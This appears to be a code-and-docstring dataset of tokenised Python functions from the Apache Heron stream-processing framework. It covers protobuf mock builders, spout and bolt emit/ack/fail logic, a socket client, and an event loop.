{"signature": "def get_mock_config(config_dict=None):", "body": "if config_dict is None:<EOL><INDENT>return topology_pb2.Config()<EOL><DEDENT>proto_config = topology_pb2.Config()<EOL>config_serializer = PythonSerializer()<EOL>assert isinstance(config_dict, dict)<EOL>for key, value in config_dict.items():<EOL><INDENT>if isinstance(value, bool):<EOL><INDENT>kvs = proto_config.kvs.add()<EOL>kvs.key = key<EOL>kvs.value = \"<STR_LIT:true>\" if value else \"<STR_LIT:false>\"<EOL>kvs.type = topology_pb2.ConfigValueType.Value(\"<STR_LIT>\")<EOL><DEDENT>elif isinstance(value, (str, int, float)):<EOL><INDENT>kvs = proto_config.kvs.add()<EOL>kvs.key = key<EOL>kvs.value = str(value)<EOL>kvs.type = topology_pb2.ConfigValueType.Value(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>kvs = proto_config.kvs.add()<EOL>kvs.key = key<EOL>kvs.serialized_value = config_serializer.serialize(value)<EOL>kvs.type = topology_pb2.ConfigValueType.Value(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return proto_config<EOL>", "docstring": "Returns a protobuf Config object from topology_pb2", "id": "f7463:m0"}
{"signature": "def get_mock_component(name=\"<STR_LIT>\",<EOL>config=get_mock_config(),<EOL>python_cls=\"<STR_LIT>\"):", "body": "component = topology_pb2.Component()<EOL>component.name = name<EOL>component.spec = topology_pb2.ComponentObjectSpec.Value(\"<STR_LIT>\")<EOL>component.class_name = python_cls<EOL>component.config.CopyFrom(config)<EOL>return component<EOL>", "docstring": "Returns a mock protobuf Component object from topology_pb2", "id": "f7463:m1"}
{"signature": "def get_mock_stream_id(id=\"<STR_LIT>\", component_name=\"<STR_LIT>\"):", "body": "stream_id = topology_pb2.StreamId()<EOL>stream_id.id = id<EOL>stream_id.component_name = component_name<EOL>return stream_id<EOL>", "docstring": "Returns a mock protobuf StreamId from topology_pb2", "id": "f7463:m2"}
{"signature": "def get_mock_bolt(component=get_mock_component(), inputs=[], outputs=[]):", "body": "bolt = topology_pb2.Bolt()<EOL>bolt.comp.CopyFrom(component)<EOL>for i in inputs:<EOL><INDENT>added = bolt.inputs.add()<EOL>added.CopyFrom(i)<EOL><DEDENT>for o in outputs:<EOL><INDENT>added = bolt.outputs.add()<EOL>added.CopyFrom(o)<EOL><DEDENT>return bolt<EOL>", "docstring": "Returns a mock protobuf Bolt object from topology_pb2", "id": "f7463:m3"}
{"signature": "def get_mock_spout(component=get_mock_component(), outputs=[]):", "body": "spout = topology_pb2.Spout()<EOL>spout.comp.CopyFrom(component)<EOL>for out in outputs:<EOL><INDENT>added = spout.outputs.add()<EOL>added.CopyFrom(out)<EOL><DEDENT>return spout<EOL>", "docstring": "Returns a mock protobuf Spout object from topology_pb2", "id": "f7463:m4"}
{"signature": "def get_mock_topology(id=\"<STR_LIT>\", name=\"<STR_LIT>\", state=<NUM_LIT:1>, spouts=[], bolts=[]):", "body": "<EOL>topology = topology_pb2.Topology()<EOL>topology.id = id<EOL>topology.name = name<EOL>topology.state = state<EOL>for sp in spouts:<EOL><INDENT>added = topology.spouts.add()<EOL>added.CopyFrom(sp)<EOL><DEDENT>for bl in bolts:<EOL><INDENT>added = topology.bolts.add()<EOL>added.CopyFrom(bl)<EOL><DEDENT>return topology<EOL>", "docstring": "Returns a mock protobuf Topology object from topology_pb2", "id": "f7463:m5"}
{"signature": "def get_mock_stmgr(id=\"<STR_LIT>\", host=\"<STR_LIT:127.0.0.1>\", port=<NUM_LIT>, endpoint=\"<STR_LIT:hello>\"):", "body": "stmgr = physical_plan_pb2.StMgr()<EOL>stmgr.id = id<EOL>stmgr.host_name = host<EOL>stmgr.data_port = port<EOL>stmgr.local_endpoint = endpoint<EOL>return stmgr<EOL>", "docstring": "Returns a mock protobuf StMgr object from physical_plan_pb2", "id": "f7463:m6"}
{"signature": "def get_mock_instance_info(task_id=<NUM_LIT>, component_index=<NUM_LIT>, component_name=\"<STR_LIT:hello>\"):", "body": "<EOL>instance_info = physical_plan_pb2.InstanceInfo()<EOL>instance_info.task_id = task_id<EOL>instance_info.component_index = component_index<EOL>instance_info.component_name = component_name<EOL>return instance_info<EOL>", "docstring": "Returns a mock protobuf InstanceInfo object from physical_plan_pb2", "id": "f7463:m7"}
{"signature": "def get_mock_instance(instance_id=\"<STR_LIT>\",<EOL>stmgr_id=\"<STR_LIT>\",<EOL>info=get_mock_instance_info()):", "body": "instance = physical_plan_pb2.Instance()<EOL>instance.instance_id = instance_id<EOL>instance.stmgr_id = stmgr_id<EOL>instance.info.CopyFrom(info)<EOL>return instance<EOL>", "docstring": "Returns a mock protobuf Instance object from physical_plan_pb2", "id": "f7463:m8"}
{"signature": "def get_mock_pplan(topology=get_mock_topology(),<EOL>stmgrs=[],<EOL>instances=[]):", "body": "pplan = physical_plan_pb2.PhysicalPlan()<EOL>pplan.topology.MergeFrom(topology)<EOL>if len(stmgrs) == <NUM_LIT:0>:<EOL><INDENT>stmgrs.append(get_mock_stmgr())<EOL><DEDENT>if len(instances) == <NUM_LIT:0>:<EOL><INDENT>instances.append(get_mock_instance())<EOL><DEDENT>for stmgr in stmgrs:<EOL><INDENT>added = pplan.stmgrs.add()<EOL>added.CopyFrom(stmgr)<EOL><DEDENT>for instance in instances:<EOL><INDENT>added = pplan.instances.add()<EOL>added.CopyFrom(instance)<EOL><DEDENT>return pplan<EOL>", "docstring": "Returns a mock protobuf PhysicalPlan object from physical_plan_pb2", "id": "f7463:m9"}
{"signature": "def get_mock_status(status=\"<STR_LIT:OK>\", message=\"<STR_LIT>\"):", "body": "mock_status = common_pb2.Status()<EOL>mock_status.status = common_pb2.StatusCode.Value(status)<EOL>mock_status.message = message<EOL>return mock_status<EOL>", "docstring": "Returns a mock protobuf Status object from common_pb2", "id": "f7463:m10"}
{"signature": "def get_mock_assignment_message(pplan=get_mock_pplan()):", "body": "<EOL>mock_message = stmgr_pb2.NewInstanceAssignmentMessage()<EOL>mock_message.pplan.MergeFrom(pplan)<EOL>return mock_message<EOL>", "docstring": "Returns a mock protobuf NewInstanceAssignmentMessage object from stmgr_pb2", "id": "f7463:m11"}
{"signature": "def get_mock_register_response(status=get_mock_status(), pplan=get_mock_pplan()):", "body": "mock_response = stmgr_pb2.RegisterInstanceResponse()<EOL>mock_response.status.MergeFrom(status)<EOL>mock_response.pplan.MergeFrom(pplan)<EOL>return mock_response<EOL>", "docstring": "Returns a mock protobuf RegisterInstanceResponse object from stmgr_pb2", "id": "f7463:m12"}
{"signature": "def get_pplan_builder_and_typename():", "body": "<EOL>builder = lambda: physical_plan_pb2.PhysicalPlan()<EOL>typename = builder().DESCRIPTOR.full_name<EOL>return builder, typename<EOL>", "docstring": "Returns a PhysicalPlan builder callable and typename 'PhysicalPlan", "id": "f7463:m13"}
{"signature": "def get_many_mock_pplans():", "body": "pplans_lst = []<EOL>for i in range(<NUM_LIT:10>):<EOL><INDENT>_id = \"<STR_LIT>\" + str(i)<EOL>pplan = get_mock_pplan(stmgrs=[get_mock_stmgr(id=_id)])<EOL>pplans_lst.append(pplan)<EOL><DEDENT>return pplans_lst<EOL>", "docstring": "Returns a list of 10 PhysicalPlan objects, differing just by stream manager id", "id": "f7463:m14"}
{"signature": "def emit(self, tup, tup_id=None, stream=Stream.DEFAULT_STREAM_ID,<EOL>direct_task=None, need_task_ids=False):", "body": "<EOL>self.pplan_helper.check_output_schema(stream, tup)<EOL>custom_target_task_ids = self.pplan_helper.choose_tasks_for_custom_grouping(stream, tup)<EOL>self.pplan_helper.context.invoke_hook_emit(tup, stream, None)<EOL>data_tuple = tuple_pb2.HeronDataTuple()<EOL>data_tuple.key = <NUM_LIT:0><EOL>if direct_task is not None:<EOL><INDENT>if not isinstance(direct_task, int):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% str(type(direct_task)))<EOL><DEDENT>data_tuple.dest_task_ids.append(direct_task)<EOL><DEDENT>elif custom_target_task_ids is not None:<EOL><INDENT>for task_id in custom_target_task_ids:<EOL><INDENT>data_tuple.dest_task_ids.append(task_id)<EOL><DEDENT><DEDENT>if tup_id is not None:<EOL><INDENT>tuple_info = TupleHelper.make_root_tuple_info(stream, tup_id)<EOL>if self.acking_enabled:<EOL><INDENT>root = data_tuple.roots.add()<EOL>root.taskid = self.pplan_helper.my_task_id<EOL>root.key = tuple_info.key<EOL>self.in_flight_tuples[tuple_info.key] = tuple_info<EOL><DEDENT>else:<EOL><INDENT>self.immediate_acks.append(tuple_info)<EOL><DEDENT><DEDENT>tuple_size_in_bytes = <NUM_LIT:0><EOL>start_time = time.time()<EOL>for obj in tup:<EOL><INDENT>serialized = self.serializer.serialize(obj)<EOL>data_tuple.values.append(serialized)<EOL>tuple_size_in_bytes += len(serialized)<EOL><DEDENT>serialize_latency_ns = (time.time() - start_time) * system_constants.SEC_TO_NS<EOL>self.spout_metrics.serialize_data_tuple(stream, serialize_latency_ns)<EOL>super(SpoutInstance, self).admit_data_tuple(stream_id=stream, data_tuple=data_tuple,<EOL>tuple_size_in_bytes=tuple_size_in_bytes)<EOL>self.total_tuples_emitted += <NUM_LIT:1><EOL>self.spout_metrics.update_emit_count(stream)<EOL>if need_task_ids:<EOL><INDENT>sent_task_ids = custom_target_task_ids or []<EOL>if direct_task is not None:<EOL><INDENT>sent_task_ids.append(direct_task)<EOL><DEDENT>return sent_task_ids<EOL><DEDENT>", "docstring": "Emits a new tuple from this Spout\n\n        It is compatible with StreamParse API.\n\n        :type tup: list or tuple\n        :param tup: the new output Tuple to send from this spout,\n                    should contain only serializable data.\n        :type tup_id: str or object\n        :param tup_id: the ID for the Tuple. Leave this blank for an unreliable emit.\n                       (Same as messageId in Java)\n        :type stream: str\n        :param stream: the ID of the stream this Tuple should be emitted to.\n                       Leave empty to emit to the default stream.\n        :type direct_task: int\n        :param direct_task: the task to send the Tuple to if performing a direct emit.\n        :type need_task_ids: bool\n        :param need_task_ids: indicate whether or not you would like the task IDs the Tuple was emitted.", "id": "f7464:c0:m5"}
{"signature": "def _should_produce_tuple(self):", "body": "return self._is_topology_running() and self.output_helper.is_out_queue_available()<EOL>", "docstring": "Checks whether we could produce tuples, i.e. invoke spout.next_tuple()", "id": "f7464:c0:m11"}
{"signature": "def _is_continue_to_work(self):", "body": "if not self._is_topology_running():<EOL><INDENT>return False<EOL><DEDENT>max_spout_pending =self.pplan_helper.context.get_cluster_config().get(api_constants.TOPOLOGY_MAX_SPOUT_PENDING)<EOL>if not self.acking_enabled and self.output_helper.is_out_queue_available():<EOL><INDENT>return True<EOL><DEDENT>elif self.acking_enabled and self.output_helper.is_out_queue_available() andlen(self.in_flight_tuples) < max_spout_pending:<EOL><INDENT>return True<EOL><DEDENT>elif self.acking_enabled and not self.in_stream.is_empty():<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks whether we still need to do more work\n\n        When the topology state is RUNNING:\n        1. if the out_queue is not full and ack is not enabled, we could wake up next time to\n           produce more tuples and push to the out_queue\n        2. if the out_queue is not full but the acking is enabled, we need to make sure that\n          the number of pending tuples is smaller than max_spout_pending\n        3. if there are more to read, we will wake up itself next time.", "id": "f7464:c0:m12"}
{"signature": "def log(self, message, level=None):", "body": "if level is None:<EOL><INDENT>_log_level = logging.INFO<EOL><DEDENT>else:<EOL><INDENT>if level == \"<STR_LIT>\" or level == \"<STR_LIT>\":<EOL><INDENT>_log_level = logging.DEBUG<EOL><DEDENT>elif level == \"<STR_LIT:info>\":<EOL><INDENT>_log_level = logging.INFO<EOL><DEDENT>elif level == \"<STR_LIT>\":<EOL><INDENT>_log_level = logging.WARNING<EOL><DEDENT>elif level == \"<STR_LIT:error>\":<EOL><INDENT>_log_level = logging.ERROR<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(level))<EOL><DEDENT><DEDENT>self.logger.log(_log_level, message)<EOL>", "docstring": "Log message, optionally providing a logging level\n\n        It is compatible with StreamParse API.\n\n        :type message: str\n        :param message: the log message to send\n        :type level: str\n        :param level: the logging level,\n                      one of: trace (=debug), debug, info, warn or error (default: info)", "id": "f7466:c0:m1"}
{"signature": "def load_py_instance(self, is_spout):", "body": "try:<EOL><INDENT>if is_spout:<EOL><INDENT>spout_proto = self.pplan_helper.get_my_spout()<EOL>py_classpath = spout_proto.comp.class_name<EOL>self.logger.info(\"<STR_LIT>\", py_classpath)<EOL><DEDENT>else:<EOL><INDENT>bolt_proto = self.pplan_helper.get_my_bolt()<EOL>py_classpath = bolt_proto.comp.class_name<EOL>self.logger.info(\"<STR_LIT>\", py_classpath)<EOL><DEDENT>pex_loader.load_pex(self.pplan_helper.topology_pex_abs_path)<EOL>spbl_class = pex_loader.import_and_get_class(self.pplan_helper.topology_pex_abs_path,<EOL>py_classpath)<EOL><DEDENT>except Exception as e:<EOL><INDENT>spbl = \"<STR_LIT>\" if is_spout else \"<STR_LIT>\"<EOL>self.logger.error(traceback.format_exc())<EOL>raise RuntimeError(\"<STR_LIT>\" % (spbl, str(e)))<EOL><DEDENT>return spbl_class<EOL>", "docstring": "Loads user defined component (spout/bolt)", "id": "f7466:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def start_component(self, stateful_state):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Do the basic setup for Heron Instance", "id": "f7466:c0:m11"}
{"signature": "@abstractmethod<EOL><INDENT>def stop_component(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Do the basic clean for Heron Instance\n\n        Note that this method is not guaranteed to be invoked", "id": "f7466:c0:m12"}
{"signature": "@abstractmethod<EOL><INDENT>def process_incoming_tuples(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Should be called when a tuple was buffered into in_stream", "id": "f7466:c0:m13"}
{"signature": "@abstractmethod<EOL><INDENT>def invoke_activate(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Activate the instance", "id": "f7466:c0:m14"}
{"signature": "@abstractmethod<EOL><INDENT>def invoke_deactivate(self):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Deactivate the instance", "id": "f7466:c0:m15"}
{"signature": "def emit(self, tup, stream=Stream.DEFAULT_STREAM_ID,<EOL>anchors=None, direct_task=None, need_task_ids=False):", "body": "<EOL>self.pplan_helper.check_output_schema(stream, tup)<EOL>custom_target_task_ids = self.pplan_helper.choose_tasks_for_custom_grouping(stream, tup)<EOL>self.pplan_helper.context.invoke_hook_emit(tup, stream, None)<EOL>data_tuple = tuple_pb2.HeronDataTuple()<EOL>data_tuple.key = <NUM_LIT:0><EOL>if direct_task is not None:<EOL><INDENT>if not isinstance(direct_task, int):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>% str(type(direct_task)))<EOL><DEDENT>data_tuple.dest_task_ids.append(direct_task)<EOL><DEDENT>elif custom_target_task_ids is not None:<EOL><INDENT>for task_id in custom_target_task_ids:<EOL><INDENT>data_tuple.dest_task_ids.append(task_id)<EOL><DEDENT><DEDENT>if anchors is not None:<EOL><INDENT>merged_roots = set()<EOL>for tup in [t for t in anchors if isinstance(t, HeronTuple) and t.roots is not None]:<EOL><INDENT>merged_roots.update(tup.roots)<EOL><DEDENT>for rt in merged_roots:<EOL><INDENT>to_add = data_tuple.roots.add()<EOL>to_add.CopyFrom(rt)<EOL><DEDENT><DEDENT>tuple_size_in_bytes = <NUM_LIT:0><EOL>start_time = time.time()<EOL>for obj in tup:<EOL><INDENT>serialized = self.serializer.serialize(obj)<EOL>data_tuple.values.append(serialized)<EOL>tuple_size_in_bytes += len(serialized)<EOL><DEDENT>serialize_latency_ns = (time.time() - start_time) * system_constants.SEC_TO_NS<EOL>self.bolt_metrics.serialize_data_tuple(stream, serialize_latency_ns)<EOL>super(BoltInstance, self).admit_data_tuple(stream_id=stream, data_tuple=data_tuple,<EOL>tuple_size_in_bytes=tuple_size_in_bytes)<EOL>self.bolt_metrics.update_emit_count(stream)<EOL>if need_task_ids:<EOL><INDENT>sent_task_ids = custom_target_task_ids or []<EOL>if direct_task is not None:<EOL><INDENT>sent_task_ids.append(direct_task)<EOL><DEDENT>return sent_task_ids<EOL><DEDENT>", "docstring": "Emits a new tuple from this Bolt\n\n        It is compatible with StreamParse API.\n\n        :type tup: list or tuple\n        :param tup: the new output Tuple to send from this bolt,\n                    should only contain only serializable data.\n        :type stream: str\n        :param stream: the ID of the stream to emit this Tuple to.\n                       Leave empty to emit to the default stream.\n        :type anchors: list\n        :param anchors: a list of HeronTuples to which the emitted Tuples should be anchored.\n        :type direct_task: int\n        :param direct_task: the task to send the Tupel to if performing a direct emit.\n        :type need_task_ids: bool\n        :param need_task_ids: indicate whether or not you would like the task IDs the Tuple was emitted.", "id": "f7467:c0:m5"}
{"signature": "def process_incoming_tuples(self):", "body": "<EOL>if self.output_helper.is_out_queue_available():<EOL><INDENT>self._read_tuples_and_execute()<EOL>self.output_helper.send_out_tuples()<EOL><DEDENT>else:<EOL><INDENT>self.bolt_metrics.update_out_queue_full_count()<EOL><DEDENT>", "docstring": "Should be called when tuple was buffered into in_stream\n\n        This method is equivalent to ``addBoltTasks()`` but\n        is designed for event-driven single-thread bolt.", "id": "f7467:c0:m6"}
{"signature": "def ack(self, tup):", "body": "if not isinstance(tup, HeronTuple):<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if self.acking_enabled:<EOL><INDENT>ack_tuple = tuple_pb2.AckTuple()<EOL>ack_tuple.ackedtuple = int(tup.id)<EOL>tuple_size_in_bytes = <NUM_LIT:0><EOL>for rt in tup.roots:<EOL><INDENT>to_add = ack_tuple.roots.add()<EOL>to_add.CopyFrom(rt)<EOL>tuple_size_in_bytes += rt.ByteSize()<EOL><DEDENT>super(BoltInstance, self).admit_control_tuple(ack_tuple, tuple_size_in_bytes, True)<EOL><DEDENT>process_latency_ns = (time.time() - tup.creation_time) * system_constants.SEC_TO_NS<EOL>self.pplan_helper.context.invoke_hook_bolt_ack(tup, process_latency_ns)<EOL>self.bolt_metrics.acked_tuple(tup.stream, tup.component, process_latency_ns)<EOL>", "docstring": "Indicate that processing of a Tuple has succeeded\n\n        It is compatible with StreamParse API.", "id": "f7467:c0:m10"}
{"signature": "def fail(self, tup):", "body": "if not isinstance(tup, HeronTuple):<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if self.acking_enabled:<EOL><INDENT>fail_tuple = tuple_pb2.AckTuple()<EOL>fail_tuple.ackedtuple = int(tup.id)<EOL>tuple_size_in_bytes = <NUM_LIT:0><EOL>for rt in tup.roots:<EOL><INDENT>to_add = fail_tuple.roots.add()<EOL>to_add.CopyFrom(rt)<EOL>tuple_size_in_bytes += rt.ByteSize()<EOL><DEDENT>super(BoltInstance, self).admit_control_tuple(fail_tuple, tuple_size_in_bytes, False)<EOL><DEDENT>fail_latency_ns = (time.time() - tup.creation_time) * system_constants.SEC_TO_NS<EOL>self.pplan_helper.context.invoke_hook_bolt_fail(tup, fail_latency_ns)<EOL>self.bolt_metrics.failed_tuple(tup.stream, tup.component, fail_latency_ns)<EOL>", "docstring": "Indicate that processing of a Tuple has failed\n\n        It is compatible with StreamParse API.", "id": "f7467:c0:m11"}
{"signature": "def create_socket_options():", "body": "sys_config = system_config.get_sys_config()<EOL>opt_list = [const.INSTANCE_NETWORK_WRITE_BATCH_SIZE_BYTES,<EOL>const.INSTANCE_NETWORK_WRITE_BATCH_TIME_MS,<EOL>const.INSTANCE_NETWORK_READ_BATCH_SIZE_BYTES,<EOL>const.INSTANCE_NETWORK_READ_BATCH_TIME_MS,<EOL>const.INSTANCE_NETWORK_OPTIONS_SOCKET_RECEIVED_BUFFER_SIZE_BYTES,<EOL>const.INSTANCE_NETWORK_OPTIONS_SOCKET_SEND_BUFFER_SIZE_BYTES]<EOL>Log.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>value_lst = [int(sys_config[opt]) for opt in opt_list]<EOL>sock_opt = SocketOptions(*value_lst)<EOL>return sock_opt<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(e))<EOL><DEDENT>except KeyError as e:<EOL><INDENT>raise KeyError(\"<STR_LIT>\" % str(e))<EOL><DEDENT>", "docstring": "Creates SocketOptions object from a given sys_config dict", "id": "f7468:m0"}
{"signature": "def __init__(self, looper, hostname, port, socket_map, socket_options):", "body": "asyncore.dispatcher.__init__(self, map=socket_map)<EOL>self.looper = looper<EOL>self.hostname = hostname<EOL>self.port = int(port)<EOL>self.endpoint = (self.hostname, self.port)<EOL>self.out_buffer = []<EOL>self.socket_options = socket_options<EOL>self.registered_message_map = dict()<EOL>self.response_message_map = dict()<EOL>self.context_map = dict()<EOL>self.incomplete_pkt = None<EOL>self.total_bytes_written = <NUM_LIT:0><EOL>self.total_pkt_written = <NUM_LIT:0><EOL>self.total_bytes_received = <NUM_LIT:0><EOL>self.total_pkt_received = <NUM_LIT:0><EOL>self._connecting = False<EOL>Log.debug(\"<STR_LIT>\"<EOL>% (self._get_classname(), str(self.endpoint),<EOL>str(socket_map), str(self.socket_options)))<EOL>", "docstring": "Initializes HeronClient\n\n        :type looper: ``GatewayLooper`` (heron.instance.src.python.network)\n        :param looper: looper object\n        :type hostname: str\n        :param hostname: endpoint hostname\n        :type port: int\n        :param port: endpoint port\n        :type socket_map: dict\n        :param socket_map: socket map used for asyncore.dispatcher\n        :type socket_options: ``SocketOptions`` (heron.common.src.python.network)\n        :param socket_options: options for the socket and this client", "id": "f7471:c0:m0"}
{"signature": "def start_connect(self):", "body": "Log.debug(\"<STR_LIT>\" % self._get_classname())<EOL>self.create_socket(socket.AF_INET, socket.SOCK_STREAM)<EOL>self._connecting = True<EOL>self.connect(self.endpoint)<EOL>", "docstring": "Tries to connect to the Heron Server\n\n        ``loop()`` method needs to be called after this.", "id": "f7471:c0:m9"}
{"signature": "def stop(self):", "body": "<EOL>self._handle_close()<EOL>", "docstring": "Disconnects and stops the client", "id": "f7471:c0:m10"}
{"signature": "def register_on_message(self, msg_builder):", "body": "message = msg_builder()<EOL>Log.debug(\"<STR_LIT>\" % message.DESCRIPTOR.full_name)<EOL>self.registered_message_map[message.DESCRIPTOR.full_name] = msg_builder<EOL>", "docstring": "Registers protobuf message builders that this client wants to receive\n\n        :param msg_builder: callable to create a protobuf message that this client wants to receive", "id": "f7471:c0:m11"}
{"signature": "def send_request(self, request, context, response_type, timeout_sec):", "body": "<EOL>reqid = REQID.generate()<EOL>Log.debug(\"<STR_LIT>\" % (self._get_classname(), str(reqid)))<EOL>self.response_message_map[reqid] = response_type<EOL>self.context_map[reqid] = context<EOL>if timeout_sec > <NUM_LIT:0>:<EOL><INDENT>def timeout_task():<EOL><INDENT>self.handle_timeout(reqid)<EOL><DEDENT>self.looper.register_timer_task_in_sec(timeout_task, timeout_sec)<EOL><DEDENT>outgoing_pkt = OutgoingPacket.create_packet(reqid, request)<EOL>self._send_packet(outgoing_pkt)<EOL>", "docstring": "Sends a request message (REQID is non-zero)", "id": "f7471:c0:m12"}
{"signature": "def send_message(self, message):", "body": "Log.debug(\"<STR_LIT>\" % self._get_classname())<EOL>outgoing_pkt = OutgoingPacket.create_packet(REQID.generate_zero(), message)<EOL>self._send_packet(outgoing_pkt)<EOL>", "docstring": "Sends a message (REQID is zero)", "id": "f7471:c0:m13"}
{"signature": "def handle_timeout(self, reqid):", "body": "if reqid in self.context_map:<EOL><INDENT>context = self.context_map.pop(reqid)<EOL>self.response_message_map.pop(reqid)<EOL>self.on_response(StatusCode.TIMEOUT_ERROR, context, None)<EOL><DEDENT>", "docstring": "Handles timeout", "id": "f7471:c0:m14"}
{"signature": "def _send_packet(self, pkt):", "body": "self.out_buffer.append(pkt)<EOL>", "docstring": "Pushes a packet to a send buffer, the content of which will be send when available", "id": "f7471:c0:m17"}
{"signature": "@abstractmethod<EOL><INDENT>def on_connect(self, status):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when the client is connected\n\n        Should be implemented by a subclass.", "id": "f7471:c0:m19"}
{"signature": "@abstractmethod<EOL><INDENT>def on_response(self, status, context, response):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when the client receives a response\n\n        Should be implemented by a subclass.", "id": "f7471:c0:m20"}
{"signature": "@abstractmethod<EOL><INDENT>def on_incoming_message(self, message):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when the client receives a message\n\n        Should be implemented by a subclass.", "id": "f7471:c0:m21"}
{"signature": "@abstractmethod<EOL><INDENT>def on_error(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when the client meets errors\n\n        Note that this method is not called when a connection is not yet established.\n        In such a case, ``on_connect()`` with status == StatusCode.CONNECT_ERROR is called.", "id": "f7471:c0:m22"}
{"signature": "def loop(self):", "body": "while not self.should_exit:<EOL><INDENT>self._run_once()<EOL><DEDENT>self.on_exit()<EOL>", "docstring": "Start loop\n\n        This will start a while loop until ``exit_loop()`` is called.", "id": "f7472:c0:m1"}
{"signature": "def _run_once(self):", "body": "try:<EOL><INDENT>self.do_wait()<EOL>self._execute_wakeup_tasks()<EOL>self._trigger_timers()<EOL><DEDENT>except Exception as e:<EOL><INDENT>Log.error(\"<STR_LIT>\" + str(e))<EOL>Log.error(traceback.format_exc())<EOL>self.should_exit = True<EOL><DEDENT>", "docstring": "Run once, should be called only from loop()", "id": "f7472:c0:m2"}
{"signature": "def on_exit(self):", "body": "Log.info(\"<STR_LIT>\")<EOL>for task in self.exit_tasks:<EOL><INDENT>task()<EOL><DEDENT>", "docstring": "Called when exiting", "id": "f7472:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def do_wait(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Blocking operation, should be implemented by a subclass", "id": "f7472:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def wake_up(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Wakes up do_wait() operation, should be implemented by a subclass\n\n        Note that this method should be implemented in a thread-safe way.", "id": "f7472:c0:m5"}
{"signature": "def add_wakeup_task(self, task):", "body": "self.wakeup_tasks.append(task)<EOL>self.wake_up()<EOL>", "docstring": "Add a wakeup task\n\n        :param task: function to be run as a wakeup task", "id": "f7472:c0:m6"}
{"signature": "def add_exit_task(self, task):", "body": "self.exit_tasks.append(task)<EOL>", "docstring": "Add an exit task\n\n        :param task: function to be run as an exit task", "id": "f7472:c0:m7"}
{"signature": "def register_timer_task_in_sec(self, task, second):", "body": "<EOL>second_in_float = float(second)<EOL>expiration = time.time() + second_in_float<EOL>heappush(self.timer_tasks, (expiration, task))<EOL>", "docstring": "Registers a new timer task\n\n        :param task: function to be run at a specified second from now\n        :param second: how many seconds to wait before the timer is triggered", "id": "f7472:c0:m8"}
{"signature": "def exit_loop(self):", "body": "self.should_exit = True<EOL>self.wake_up()<EOL>", "docstring": "Exits the loop", "id": "f7472:c0:m9"}
{"signature": "def _get_next_timeout_interval(self):", "body": "if len(self.timer_tasks) == <NUM_LIT:0>:<EOL><INDENT>return sys.maxsize<EOL><DEDENT>else:<EOL><INDENT>next_timeout_interval = self.timer_tasks[<NUM_LIT:0>][<NUM_LIT:0>] - time.time()<EOL>return next_timeout_interval<EOL><DEDENT>", "docstring": "Get the next timeout from now\n\n        This should be used from do_wait().\n        :returns (float) next_timeout, or 10.0 if there are no timer events", "id": "f7472:c0:m10"}
{"signature": "def _execute_wakeup_tasks(self):", "body": "<EOL>size = len(self.wakeup_tasks)<EOL>for i in range(size):<EOL><INDENT>self.wakeup_tasks[i]()<EOL><DEDENT>", "docstring": "Executes wakeup tasks, should only be called from loop()", "id": "f7472:c0:m11"}
{"signature": "def _trigger_timers(self):", "body": "current = time.time()<EOL>while len(self.timer_tasks) > <NUM_LIT:0> and (self.timer_tasks[<NUM_LIT:0>][<NUM_LIT:0>] - current <= <NUM_LIT:0>):<EOL><INDENT>task = heappop(self.timer_tasks)[<NUM_LIT:1>]<EOL>task()<EOL><DEDENT>", "docstring": "Triggers expired timers", "id": "f7472:c0:m12"}
{"signature": "def _handle_register_response(self, response):", "body": "if response.status.status != common_pb2.StatusCode.Value(\"<STR_LIT:OK>\"):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>Log.info(\"<STR_LIT>\")<EOL>self.is_registered = True<EOL>if response.HasField(\"<STR_LIT>\"):<EOL><INDENT>Log.info(\"<STR_LIT>\")<EOL>self._handle_assignment_message(response.pplan)<EOL><DEDENT>else:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Called when a register response (RegisterInstanceResponse) arrives", "id": "f7473:c0:m7"}
{"signature": "def _handle_new_tuples_2(self, hts2):", "body": "self.heron_instance_cls.handle_new_tuple_set_2(hts2)<EOL>", "docstring": "Called when new HeronTupleSet2 arrives", "id": "f7473:c0:m8"}
{"signature": "def _handle_initiate_stateful_checkpoint(self, ckptmsg):", "body": "self.heron_instance_cls.handle_initiate_stateful_checkpoint(ckptmsg)<EOL>", "docstring": "Called when new InitiateStatefulCheckpoint arrives", "id": "f7473:c0:m9"}
{"signature": "def _handle_start_stateful_processing(self, startmsg):", "body": "self.heron_instance_cls.handle_start_stateful_processing(startmsg)<EOL>", "docstring": "Called when new StartInstanceStatefulProcessing arrives", "id": "f7473:c0:m10"}
{"signature": "def _handle_restore_instance_state(self, restoremsg):", "body": "self.heron_instance_cls.handle_restore_instance_state(restoremsg)<EOL>", "docstring": "Called when new RestoreInstanceStateRequest arrives", "id": "f7473:c0:m11"}
